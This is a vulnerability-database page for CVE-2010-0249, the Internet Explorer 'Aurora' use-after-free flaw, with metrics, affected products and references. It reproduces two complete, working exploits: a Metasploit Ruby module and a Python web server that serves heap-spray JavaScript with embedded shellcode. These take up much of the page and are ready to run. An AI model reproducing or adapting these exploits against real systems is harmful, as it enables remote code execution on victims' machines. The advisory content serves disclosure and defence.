CVE-2010-0249 : Detail

CVE-2010-0249

8.8
/
High
Memory Corruption
91.41%V4
Network
2010-01-15
16h00 +00:00
2018-10-12
17h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Use-after-free vulnerability in Microsoft Internet Explorer 6, 6 SP1, 7, and 8 on Windows 2000 SP4; Windows XP SP2 and SP3; Windows Server 2003 SP2; Windows Vista Gold, SP1, and SP2; Windows Server 2008 Gold, SP2, and R2; and Windows 7 allows remote attackers to execute arbitrary code by accessing a pointer associated with a deleted object, related to incorrectly initialized memory and improper handling of objects in memory, as exploited in the wild in December 2009 and January 2010 during Operation Aurora, aka "HTML Object Memory Corruption Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 16599

Publication date : 2010-07-11 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: ms10_002_aurora.rb 9787 2010-07-12 02:51:50Z egypt $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML # # Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn # #include Msf::Exploit::Remote::BrowserAutopwn #autopwn_info({ # :ua_name => HttpClients::IE, # :ua_minver => "6.0", # :ua_maxver => "6.0", # :javascript => true, # :os_name => OperatingSystems::WINDOWS, # :vuln_test => nil, # no way to test without just trying it #}) def initialize(info = {}) super(update_info(info, 'Name' => 'Internet Explorer "Aurora" Memory Corruption', 'Description' => %q{ This module exploits a memory corruption flaw in Internet Explorer. This flaw was found in the wild and was a key component of the "Operation Aurora" attacks that lead to the compromise of a number of high profile companies. The exploit code is a direct port of the public sample published to the Wepawet malware analysis site. The technique used by this module is currently identical to the public sample, as such, only Internet Explorer 6 can be reliably exploited. }, 'License' => MSF_LICENSE, 'Author' => [ 'unknown', 'hdm' # Metasploit port ], 'Version' => '$Revision: 9787 $', 'References' => [ ['MSB', 'MS10-002'], ['CVE', '2010-0249'], ['OSVDB', '61697'], ['URL', 'http://www.microsoft.com/technet/security/advisory/979352.mspx'], ['URL', 'http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&type=js'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'Compat' => { 'ConnectionType' => '-find', }, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { }], ], 'DisclosureDate' => 'Jan 14 2009', # wepawet sample 'DefaultTarget' => 0)) @javascript_encode_key = rand_text_alpha(rand(10) + 10) end def on_request_uri(cli, request) if (request.uri.match(/\.gif/i)) data = "R0lGODlhAQABAIAAAAAAAAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==".unpack("m*")[0] send_response(cli, data, { 'Content-Type' => 'image/gif' }) return end if (!request.uri.match(/\?\w+/)) send_local_redirect(cli, "?#{@javascript_encode_key}") return end var_boom = rand_text_alpha(rand(100) + 1) var_element = rand_text_alpha(rand(100) + 1) var_event = rand_text_alpha(rand(100) + 1) var_loaded = rand_text_alpha(rand(100) + 1) var_loaded_arg = rand_text_alpha(rand(100) + 1) var_memory = rand_text_alpha(rand(100) + 1) var_spray = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(100) + 1) var_el_array = rand_text_alpha(rand(100) + 1) bleh = rand_text_alpha(3); var_grab_mem = rand_text_alpha(rand(100) + 1) var_unescape = rand_text_alpha(rand(100) + 1) var_shellcode = rand_text_alpha(rand(100) + 1) var_span_id = rand_text_alpha(rand(100) + 1) var_start = rand_text_alpha(rand(100) + 1) rand_html = rand_text_english(rand(400) + 500) js = %Q|var #{var_element} = "COMMENT"; var #{var_el_array} = new Array(); for (i = 0; i < 1300; i++) { #{var_el_array}[i] = document.createElement(#{var_element}); #{var_el_array}[i].data = "#{bleh}"; } var #{var_event} = null; var #{var_memory} = new Array(); var #{var_unescape} = unescape; function #{var_boom}() { var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}'); var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "d" + "%u" + "0" + "c" + "0" + "d" ); do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0xd0000 ); for (#{var_i} = 0; #{var_i} < 150; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode}; } function #{var_loaded}(#{var_loaded_arg}) { #{var_boom}(); #{var_event} = document.createEventObject(#{var_loaded_arg}); document.getElementById("#{var_span_id}").innerHTML = ""; window.setInterval(#{var_grab_mem}, 50); } function #{var_grab_mem}() { p = "\\u0c0f\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d"; for (i = 0; i < #{var_el_array}.length; i++) { #{var_el_array}[i].data = p; } var t = #{var_event}.srcElement; } | js_encoded = encrypt_js(js, @javascript_encode_key) html = %Q|<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"> <html> <head> <script> #{js_encoded} </script> </head> <body> <span id="#{var_span_id}"><iframe src="#{get_resource}#{var_start}.gif" onload="#{var_loaded}(event)" /></span></body></html> </body> </html>| print_status("Sending #{self.name} to client #{cli.peerhost}") # Transmit the compressed response to the client send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' }) # Handle the payload handler(cli) end end
Exploit Database EDB-ID : 11167

Publication date : 2010-01-16 23h00 +00:00
Author : Ahmed Obied
EDB Verified : Yes

# # Author : Ahmed Obied (ahmed.obied@gmail.com) # # This program acts as a web server that generates an exploit to # target a vulnerability (CVE-2010-0249) in Internet Explorer. # The exploit was tested using Internet Explorer 6 on Windows XP SP2. # The exploit's payload spawns the calculator. # # Usage : python ie_aurora.py [port number] # import sys import socket from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler class RequestHandler(BaseHTTPRequestHandler): def convert_to_utf16(self, payload): enc_payload = '' for i in range(0, len(payload), 2): num = 0 for j in range(0, 2): num += (ord(payload[i + j]) & 0xff) << (j * 8) enc_payload += '%%u%04x' % num return enc_payload def get_payload(self): # win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub # http://metasploit.com payload = '\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73' payload += '\x13\x6f\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e' payload += '\x6f\x02\x3a\x4b\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a' payload += '\x3a\x51\x4f\x03\x5a\x47\xe4\x36\x3a\x0f\x81\x33\x71\x97' payload += '\xc3\x86\x71\x7a\x68\xc3\x7b\x03\x6e\xc0\x5a\xfa\x54\x56' payload += '\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68\xe4\x0e\xfa\x85' payload += '\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a\x6b\xc1' payload += '\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85' payload += '\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02' payload += '\x3a\x66\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e' payload += '\x07\x7c\x69\xec\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61' payload += '\xd0\x62\x0c\x2c\xd4\x76\x0a\x02\xb1\x0e' return self.convert_to_utf16(payload) def get_exploit(self): exploit = ''' <html> <head> <script> var obj, event_obj; function spray_heap() { var chunk_size, payload, nopsled; chunk_size = 0x80000; payload = unescape("<PAYLOAD>"); nopsled = unescape("<NOP>"); while (nopsled.length < chunk_size) nopsled += nopsled; nopsled_len = chunk_size - (payload.length + 20); nopsled = nopsled.substring(0, nopsled_len); heap_chunks = new Array(); for (var i = 0 ; i < 200 ; i++) heap_chunks[i] = nopsled + payload; } function initialize() { obj = new Array(); event_obj = null; for (var i = 0; i < 200 ; i++ ) obj[i] = document.createElement("COMMENT"); } function ev1(evt) { event_obj = document.createEventObject(evt); document.getElementById("sp1").innerHTML = ""; window.setInterval(ev2, 1); } function ev2() { var data, tmp; data = ""; tmp = unescape("%u0a0a%u0a0a"); for (var i = 0 ; i < 4 ; i++) data += tmp; for (i = 0 ; i < obj.length ; i++ ) { obj[i].data = data; } event_obj.srcElement; } function check() { if (navigator.userAgent.indexOf("MSIE") == -1) return false; return true; } if (check()) { initialize(); spray_heap(); } else window.location = 'about:blank' </script> </head> <body> <span id="sp1"> <img src="aurora.gif" onload="ev1(event)"> </span> </body> </html> ''' exploit = exploit.replace('<PAYLOAD>', self.get_payload()) exploit = exploit.replace('<NOP>', '%u0a0a%u0a0a') return exploit def get_image(self): content = '\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff' content += '\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44' content += '\x01\x00\x3b' return content def log_request(self, *args, **kwargs): pass def do_GET(self): try: if self.path == '/': print print '[-] Incoming connection from %s' % self.client_address[0] self.send_response(200) self.send_header('Content-Type', 'text/html') self.end_headers() print '[-] Sending exploit to %s ...' % self.client_address[0] self.wfile.write(self.get_exploit()) print '[-] Exploit sent to %s' % self.client_address[0] elif self.path == '/aurora.gif': self.send_response(200) self.send_header('Content-Type', 'image/gif') self.end_headers() self.wfile.write(self.get_image()) except: print '[*] Error : an error has occured while serving the HTTP request' print '[-] Exiting ...' sys.exit(-1) def main(): if len(sys.argv) != 2: print 'Usage: %s [port number (between 1024 and 65535)]' % sys.argv[0] sys.exit(0) try: port = int(sys.argv[1]) if port < 1024 or port > 65535: raise ValueError try: serv = HTTPServer(('', port), RequestHandler) ip = socket.gethostbyname(socket.gethostname()) print '[-] Web server is running at http://%s:%d/' % (ip, port) try: serv.serve_forever() except: print '[-] Exiting ...' except socket.error: print '[*] Error : a socket error has occurred' sys.exit(-1) except ValueError: print '[*] Error : an invalid port number was given' sys.exit(-1) if __name__ == '__main__': main()

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 5.0.1

Microsoft>>Internet_explorer >> Version 6

Microsoft>>Windows_2000 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 6

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 7.0

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 8

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

References

http://osvdb.org/61697
Tags : vdb-entry, x_refsource_OSVDB
http://www.securityfocus.com/bid/37815
Tags : vdb-entry, x_refsource_BID
http://www.kb.cert.org/vuls/id/492515
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.exploit-db.com/exploits/11167
Tags : exploit, x_refsource_EXPLOIT-DB
http://support.microsoft.com/kb/979352
Tags : vendor-advisory, x_refsource_MSKB
http://www.us-cert.gov/cas/techalerts/TA10-055A.html
Tags : third-party-advisory, x_refsource_CERT
http://securitytracker.com/id?1023462
Tags : vdb-entry, x_refsource_SECTRACK
http://www.vupen.com/english/advisories/2010/0135
Tags : vdb-entry, x_refsource_VUPEN
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.